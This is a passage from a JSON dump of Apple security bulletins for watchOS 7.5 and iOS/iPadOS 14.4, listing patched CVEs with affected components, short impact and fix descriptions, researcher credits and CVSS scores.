elevate their privileges\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30724: Mickey Jin (@patch1t) of Trend Micro\n\n**FontParser**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted font file may lead to arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-30771: Mickey Jin (@patch1t) of Trend Micro, CFF of Topsec Alpha Team\n\nEntry added January 19, 2022\n\n**FontParser**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: An out-of-bounds read was addressed with improved input validation\n\nDescription: Processing a maliciously crafted font may result in the disclosure of process memory.\n\nCVE-2021-30755: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added July 21, 2021\n\n**Heimdal**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A local user may be able to leak sensitive user information\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30697: Gabe Kirkpatrick (@gabe_k)\n\n**Heimdal**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A malicious application may cause a denial of service or potentially disclose memory contents\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2021-30710: Gabe Kirkpatrick (@gabe_k)\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted image may lead to disclosure of user information\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-30687: Hou JingYi (@hjy79425575) of Qihoo 360\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted image may lead to disclosure of user information\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30700: Ye Zhang(@co0py_Cat) of Baidu Security\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30701: Mickey Jin (@patch1t) of Trend Micro and Ye Zhang of Baidu Security\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted ASTC file may disclose memory contents\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-30705: Ye Zhang of Baidu Security\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: This issue was addressed with improved checks\n\nDescription: Processing a maliciously crafted image may lead to disclosure of user information.\n\nCVE-2021-30706: Anonymous working with Trend Micro Zero Day Initiative, Jzhu working with Trend Micro Zero Day Initiative\n\nEntry added July 21, 2021\n\n**Kernel**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A malicious application may be able to execute arbitrary code with kernel privileges\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2021-30740: Linus Henze (pinauten.de)\n\n**Kernel**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30704: an anonymous researcher\n\n**Kernel**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted message may lead to a denial of service\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30715: The UK's National Cyber Security Centre (NCSC)\n\n**Kernel**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A buffer overflow was addressed with improved size validation.\n\nCVE-2021-30736: Ian Beer of Google Project Zero\n\n**Kernel**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A double free issue was addressed with improved memory management\n\nDescription: An application may be able to execute arbitrary code with kernel privileges.\n\nCVE-2021-30703: an anonymous researcher\n\nEntry added July 21, 2021\n\n**LaunchServices**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A malicious application may be able to break out of its sandbox\n\nDescription: This issue was addressed with improved environment sanitization.\n\nCVE-2021-30677: Ron Waisberg (@epsilan)\n\n**Security**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted certificate may lead to arbitrary code execution\n\nDescription: A memory corruption issue in the ASN.1 decoder was addressed by removing the vulnerable code.\n\nCVE-2021-30737: xerub\n\n**WebKit**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A cross-origin issue with iframe elements was addressed with improved tracking of security origins.\n\nCVE-2021-30744: Dan Hite of jsontop\n\n**WebKit**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-21779: Marcin Towalski of Cisco Talos\n\n**WebKit**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A malicious application may be able to leak sensitive user information\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2021-30682: an anonymous researcher and 1lastBr3ath\n\n**WebKit**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing maliciously crafted web content may lead to universal cross site scripting\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-30689: an anonymous researcher\n\n**WebKit**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2021-30749: an anonymous researcher and mipu94 of SEFCOM lab, ASU. working with Trend Micro Zero Day Initiative\n\nCVE-2021-30734: Jack Dates of RET2 Systems, Inc. (@ret2systems) working with Trend Micro Zero Day Initiative\n\n**WebKit**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A malicious website may be able to access restricted ports on arbitrary servers\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2021-30720: David Sch\u00fctz (@xdavidhu)\n\n\n\n## Additional recognition\n\n**CommCenter**\n\nWe would like to acknowledge CHRISTIAN MINA for their assistance.\n\n**ImageIO**\n\nWe would like to acknowledge Jzhu working with Trend Micro Zero Day Initiative and an anonymous researcher for their assistance.\n\n**Mail Drafts**\n\nWe would like to acknowledge Lauritz Holtmann (@_lauritz_) for their assistance.\n\n**WebKit**\n\nWe would like to acknowledge Chris Salls (@salls) of Makai Security for their assistance.\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: January 19, 2022\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-05-24T00:00:00", "type": "apple", "title": "About the security content of watchOS 7.5", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21779", "CVE-2021-30677", "CVE-2021-30681", "CVE-2021-30682", "CVE-2021-30685", "CVE-2021-30686", "CVE-2021-30687", "CVE-2021-30689", "CVE-2021-30697", "CVE-2021-30700", "CVE-2021-30701", "CVE-2021-30703", "CVE-2021-30704", "CVE-2021-30705", "CVE-2021-30706", "CVE-2021-30707", "CVE-2021-30710", "CVE-2021-30715", "CVE-2021-30720", "CVE-2021-30724", "CVE-2021-30727", "CVE-2021-30733", "CVE-2021-30734", "CVE-2021-30736", "CVE-2021-30737", "CVE-2021-30740", "CVE-2021-30744", "CVE-2021-30749", "CVE-2021-30753", "CVE-2021-30755", "CVE-2021-30771"], "modified": "2021-05-24T00:00:00", "id": "APPLE:3D2B7EA0D2FC28210AECB76B2C407C9F", "href": "https://support.apple.com/kb/HT212533", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-27T22:02:38", "description": "# About the security content of iOS 14.4 and iPadOS 14.4\n\nThis document describes the security content of iOS 14.4 and iPadOS 14.4.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## iOS 14.4 and iPadOS 14.4\n\nReleased January 26, 2021\n\n**Analytics**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) \n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1761: Cees Elzinga\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**APFS**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A local user may be able to read arbitrary files\n\nDescription: The issue was addressed with improved permissions logic.\n\nCVE-2021-1797: Thomas Tempelmann\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**Bluetooth**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-1794: Jianjun Dai of 360 Alpha Lab\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**Bluetooth**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1795: Jianjun Dai of 360 Alpha Lab\n\nCVE-2021-1796: Jianjun Dai of 360 Alpha Lab\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**Bluetooth**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: An attacker in a privileged position may be able to perform a denial of service attack\n\nDescription: A memory initialization issue was addressed with improved memory handling.\n\nCVE-2021-1780: Jianjun Dai of 360 Alpha Lab\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**CoreAnimation**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious application could execute arbitrary code leading to compromise of user information\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2021-1760: @S0rryMybad of 360 Vulcan Team\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**CoreAudio**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing maliciously crafted web content may lead to code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1747: JunDong Xie of Ant Security Light-Year Lab\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**CoreGraphics**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted font file may lead to arbitrary code execution\n\nDescription: An out-of-bounds write issue was addressed with improved bounds checking.\n\nCVE-2021-1776: Ivan Fratric of Google Project Zero\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**CoreMedia**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-1759: Hou JingYi (@hjy79425575) of Qihoo 360 CERT\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**CoreText**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted text file may lead to arbitrary code execution\n\nDescription: A stack overflow was addressed with improved input validation.\n\nCVE-2021-1772: Mickey Jin of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\nEntry added February 1, 2021, updated May 28, 2021\n\n**CoreText**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1792: Mickey Jin & Junzhi Lu of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\nEntry added February 1, 2021, updated May 28, 2021\n\n**Crash Reporter**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A local user may be able to create or modify system files\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1786: Csaba Fitzl (@theevilbit) of Offensive Security\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**Crash Reporter**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: Multiple issues were addressed with improved logic.\n\nCVE-2021-1787: James Hutchins\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**FairPlay**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious application may be able to disclose kernel memory\n\nDescription: An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed with improved input validation.\n\nCVE-2021-1791: Junzhi Lu(@pwn0rz), Qi Sun and Mickey Jin of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\nEntry added February 1, 2021, updated May 28, 2021\n\n**FontParser**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1758: Peter Nguyen of STAR Labs\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1773: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1766: Danny Rosseau of Carve Systems\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-1785: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1737: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1738: Lei Sun\n\nCVE-2021-1744: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1818: Xingwei Lin of Ant-Financial Light-Year Security Lab\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) \n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1838: Mickey Jin & Qi Sun of Trend Micro working with Trend Micro's Zero Day Initiative\n\nCVE-2021-1742: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1746: Xingwei Lin of Ant Security Light-Year Lab, Mickey Jin & Qi Sun of Trend Micro working with Trend Micro\u2019s Zero Day Initiative, and Jeonghoon Shin(@singi21a) of THEORI\n\nCVE-2021-1754: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1774: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1793: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021, updated May 28, 2021\n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1741: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1743: Mickey Jin & Junzhi Lu of Trend Micro working with Trend Micro\u2019s Zero Day Initiative, Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021, updated May 28, 2021\n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: An out-of-bounds read issue existed in the curl. This issue was addressed with improved bounds checking.\n\nCVE-2021-1778: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**ImageIO**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An access issue was addressed with improved memory management.\n\nCVE-2021-1783: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**IOSkywalkFamily**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1757: Proteas and Pan ZhenPeng (@Peterpan0927) of Alibaba Security\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**iTunes Store**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted URL may lead to arbitrary javascript code execution\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2021-1748: CodeColorist working with Ant Security Light-Year Labs\n\nEntry added February 1, 2021, updated May 28, 2021\n\n**Kernel**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-1764: @m00nbsd\n\nEntry added February 1, 2021, updated May 28, 2021\n\n**Kernel**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: Multiple issues were addressed with improved logic.\n\nCVE-2021-1750: @0xalsr\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**Kernel**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious application may be able to elevate privileges. Apple is aware of a report that this issue may have been actively exploited.\n\nDescription: A race condition was addressed with improved locking.\n\nCVE-2021-1782: an anonymous researcher\n\nEntry updated May 28, 2021 \n\n**Messages**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious application may be able to leak sensitive user information\n\nDescription: A privacy issue existed in the handling of Contact cards. This was addressed with improved state management.\n\nCVE-2021-1781: Csaba Fitzl (@theevilbit) of Offensive Security\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**Model I/O**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: A buffer overflow was addressed with improved bounds checking.\n\nCVE-2021-1763: Mickey Jin of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\nEntry added February 1, 2021, updated May 28, 2021\n\n**Model I/O**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1768: Mickey Jin & Junzhi Lu of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\nEntry added February 1, 2021, updated May 28, 2021\n\n**Model I/O**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-1745: Mickey Jin & Junzhi Lu of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\nEntry added February 1, 2021, updated May 28, 2021\n\n**Model I/O**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1762: Mickey Jin of Trend Micro\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**Model I/O**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted USD file may lead to unexpected application termination or arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1762: Mickey Jin of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\nEntry added February 1, 2021, updated May 28, 2021\n\n**Model I/O**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to heap corruption\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1767: Mickey Jin & Junzhi Lu of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\nEntry added February 1, 2021, updated May 28, 2021\n\n**Model I/O**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1753: Mickey Jin of Trend Micro\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**Model I/O**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1753: Mickey Jin of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\nEntry added February 1, 2021, updated May 28, 2021\n\n**Phone Keypad**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: An attacker with physical access to a device may be able to see private contact information\n\nDescription: A lock screen issue allowed access to contacts on a locked device. This issue was addressed with improved state management.\n\nCVE-2021-1756: Ryan Pickren (ryanpickren.com)\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**Swift**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious attacker with arbitrary read and write capability may be able to bypass Pointer Authentication\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2021-1769: CodeColorist of Ant-Financial Light-Year Labs\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**WebKit**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-1788: Francisco Alonso (@revskills)\n\nEntry added February 1, 2021, updated May 28, 2021\n\n**WebKit**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A type confusion issue was addressed with improved state handling.\n\nCVE-2021-1789: @S0rryMybad of 360 Vulcan Team\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**WebKit**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: Maliciously crafted web content may violate iframe sandboxing policy\n\nDescription: This issue was addressed with improved iframe sandbox enforcement.\n\nCVE-2021-1801: Eliya Stein of Confiant\n\nEntry added February 1, 2021, updated May 28, 2021 \n\n**WebKit**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A remote attacker may be able to cause arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.\n\nDescription: A logic issue was addressed with improved restrictions.\n\nCVE-2021-1871: an anonymous researcher\n\nCVE-2021-1870: an anonymous researcher\n\nEntry updated May 28, 2021 \n\n**WebRTC**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models) iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)\n\nImpact: A malicious website may be able to access restricted ports on arbitrary servers\n\nDescription: A port redirection issue was addressed with additional port validation.\n\nCVE-2021-1799: Gregory Vishnepolsky & Ben Seri of Armis Security, and Samy Kamkar\n\nEntry added February 1, 2021, updated May 28, 2021\n\n**XNU**\n\nAvailable for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation) \n\nImpact: A malicious application may be able to execute arbitrary code with kernel privileges\n\nDescription: A type confusion issue was addressed with improved state handling.\n\nCVE-2021-30869: Apple\n\nEntry added September 23, 2021\n\n\n\n## Additional recognition\n\n**iTunes Store**\n\nWe would like to acknowledge CodeColorist of Ant-Financial Light-Year Labs for their assistance.\n\nEntry added February 1, 2021\n\n**Kernel**\n\nWe would like to acknowledge Junzhi Lu (@pwn0rz), Mickey Jin & Jesse Change of Trend Micro for their assistance.\n\nEntry added February 1, 2021\n\n**libpthread**\n\nWe would like to acknowledge CodeColorist of Ant-Financial Light-Year Labs for their assistance.\n\nEntry added February 1, 2021\n\n**Mail**\n\nWe would like to acknowledge Yi\u011fit Can YILMAZ (@yilmazcanyigit) and an anonymous researcher for their assistance.\n\nEntry added February 1, 2021\n\n**Store Demo**\n\nWe would like to acknowledge @08Tc3wBB for their assistance.\n\nEntry added February 1, 